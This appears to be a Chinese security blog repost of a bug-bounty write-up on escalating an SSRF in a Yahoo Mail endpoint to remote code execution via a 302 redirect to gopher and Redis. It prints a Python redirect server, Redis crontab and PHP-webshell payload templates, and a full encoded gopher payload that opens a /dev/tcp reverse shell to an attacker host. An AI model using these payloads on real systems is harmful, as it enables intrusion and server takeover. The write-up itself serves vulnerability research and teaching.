利用Gopher实现雅虎邮件SSRF升级至RCE命令执行

admin 2024年1月19日09:55:38评论10 views字数 4753阅读15分50秒阅读模式

SSRF 常与 URL 挂钩,通过 Gopher 协议可扩大漏洞危害,实现远程RCE等。

当仅关注单一Web程序时,一种常用的方法是使用工具如GAU、Ffuf等获取信息或渗透测试。
而 mail.yahoo.com 适用于第二种情况:开启Burp并不断访问功能点,最后分析请求包。
应厂商要求,本文不配图。

对 mail.yahoo.com 的众多请求包进行分析,存在一请求如下:

GET /xxx/logoGrabber?url=http://example.comHost: mail.yahoo.com...

其响应内容如下:

{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

可知该网站存在 SSRF 的可能,故开始验证。
构造请求包如下

GET /xxx/logoGrabber?url=http://127.0.0.1/ice/ice.txtHost: mail.yahoo.com...

发现其能够出网进行交互,而不能访问雅虎内部的某一IP及本机127.0.0.1,可能 IP 被列入黑名单。

推测 SSRF攻击内部 IP 的概率仍然存在,故枚举子域名并进行类似的请求喷射,得到结果如下:
somecorpsite.yahoo.com
不对外开放,但构造请求包如下却能回显somecorpsite.yahoo.com的相关信息:

# 请求包GET /xxx/logoGrabber?url=http://somecorpsite.yahoo.comHost: mail.yahoo.com...
#响应包{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.yahoo.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.yahoo.com/logos/logo.png"}}

类似于 FUZZ 且无危害,技术性并不高。

蓦然回首本文开头,Gopher 结合 Blind SSRF 值得一试。

可利用 Burp Collaborator,故构造如下请求:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl主机:mail.yahoo.com ...

结果是:没有请求发送到 Burp Collaborator,推断目标服务器可能限制了 Gopher 协议,绕过方法之一是重定向

测试是否支持重定向:
创建 Python http 服务器

#!/usr/bin/env python3import sysfrom http.server import HTTPServer, BaseHTTPRequestHandler# 判断参数数量是否正确if len(sys.argv)-1 != 2:    print("""Usage: {} <port_number> <url>    """.format(sys.argv[0]))    sys.exit()class Redirect(BaseHTTPRequestHandler):    # 处理 GET 请求    def do_GET(self):        # 发送 302 状态码        self.send_response(302)        # 设置 Location 响应头,指定重定向的目标 URL        self.send_header('Location', sys.argv[2])        # 结束响应头        self.end_headers()    # 发生错误时的处理方式,也重定向到目标 URL    def send_error(self, code, message=None):        self.send_response(302)        self.send_header('Location', sys.argv[2])        self.end_headers()HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

再将所有的GET流量都重定向到 Burp Collaborator URL:

python3 302redirect.py port "http://mycollaboratorurl/"

接着构造请求如下:

GET /xxx/logoGrabber?url=http://my302redirectserver/主机:mail.yahoo.com ...

在提交请求后,重定向被跟随,导致 Burp Collaborator URL受到了访问。
将重定向与 Gopher 结合:

python3 302redirect.py port "gopher://mycollaboratorurl/"

再次构造相同的请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/主机:mail.yahoo.com ...

在提交请求后,Burp Collaborator URL受到了访问,显然,重定向与 Gopher 结合成功,则此时可以利用 Gopher 协议访问内部IP。

要实现 Gopher 协议的危害升级,可利用工具:gopherus
简单介绍一下gopherus:通过gopherus可构建和发送Gopher请求,并查看响应结果。其可以实现对MySQL、FastCGI、Memcached、Redis、 Zabbix、SMTP 等的攻击。

由于127.0.0.1在不使用 Gopher 的情况下不可访问,且测试数据可控,故测试127.0.0.1。

可以在主机上开启 MySQL 等服务,并记下其端口,再利用 gopherus工具进行shell。也可通过302将网络服务器重定向到gopher://127.0.0.1:port,然后提交请求来查看哪些端口是开放的:

GET /xxx/logoGrabber?url=http://my302redirectserver/主机:mail.yahoo.com ...

回显如下:

302redirect → gopher://127.0.0.1:3306 [响应时间:3000ms]-CLOSED302redirect → gopher://127.0.0.1:9000 [响应时间:2500ms]-CLOSED302redirect → gopher://127.0.0.1:6379 [响应时间:500ms]-OPENETC…

可以看到 Redis 服务是开放的,针对 Redis 的利用方法分为两种:
1、利用写入计划任务来执行反弹shell操作

Payload:"*1r$8rflushallr*3r$3rsetr$1r1r$" + str(len_cmd) + "r" + cmd + "r*4r$6rconfigr$3rsetr$3rdirr$" + str(len(crontab_dir)) + "r" + crontab_dir + "r*4r$6rconfigr$3rsetr$10rdbfilenamer$4rrootr*1r$4rsaver"

2、在知晓网站网站绝对路径的情况下,写入phpshell

Payload:"*1r$8rflushallr*3r$3rsetr$1r1r$" + str(len(php_payload) + 4) + "r" + php_payload + "r*4r$6rconfigr$3rsetr$3rdirr$" + str(len(web_root_location)) + "r" + web_root_location + "r*4r$6rconfigr$3rsetr$10rdbfilenamer$9rshell.phpr*1r$4rsaver"

选择方法一,构造反弹 shell 脚本如下:

gopher://127.0.0.1:6379/_*1$8flushall*3$3set$11$69*1 * * * * bash -c "sh -i >& /dev/tcp/xxxx/1337 0>&1"#将输入和输出重定向至1337端口*4$6config$3set$3dir$14/var/lib/redis*4$6config$3set$10dbfilename$4root*1$4save

对其编码得到:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1% 0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20% 3E%26%20/dev/tcp/xxxx/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243% 0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A% 243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

此时在端口 1337 上启动 Netcat 侦听器以捕获任何传入的反弹 shell
接着执行:

python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

再提交请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/主机:mail.yahoo.com ...

结果如下图,运行 whoami 可以看到回显root,说明RCE成功:

利用Gopher实现雅虎邮件SSRF升级至RCE命令执行

参考链接:
https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530
本公众号不承担任何由于传播、利用本公众号所发布内容而造成的任何后果及法律责任。未经许可,不得转载。

芳华绝代安全团队现已推出Web安全渗透教程,欢迎学习:
https://space.bilibili.com/60220504

利用Gopher实现雅虎邮件SSRF升级至RCE命令执行

原文始发于微信公众号(芳华绝代安全团队):利用Gopher实现雅虎邮件SSRF升级至RCE命令执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月19日09:55:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用Gopher实现雅虎邮件SSRF升级至RCE命令执行https://cn-sec.com/archives/2408909.html

发表评论

匿名网友 填写信息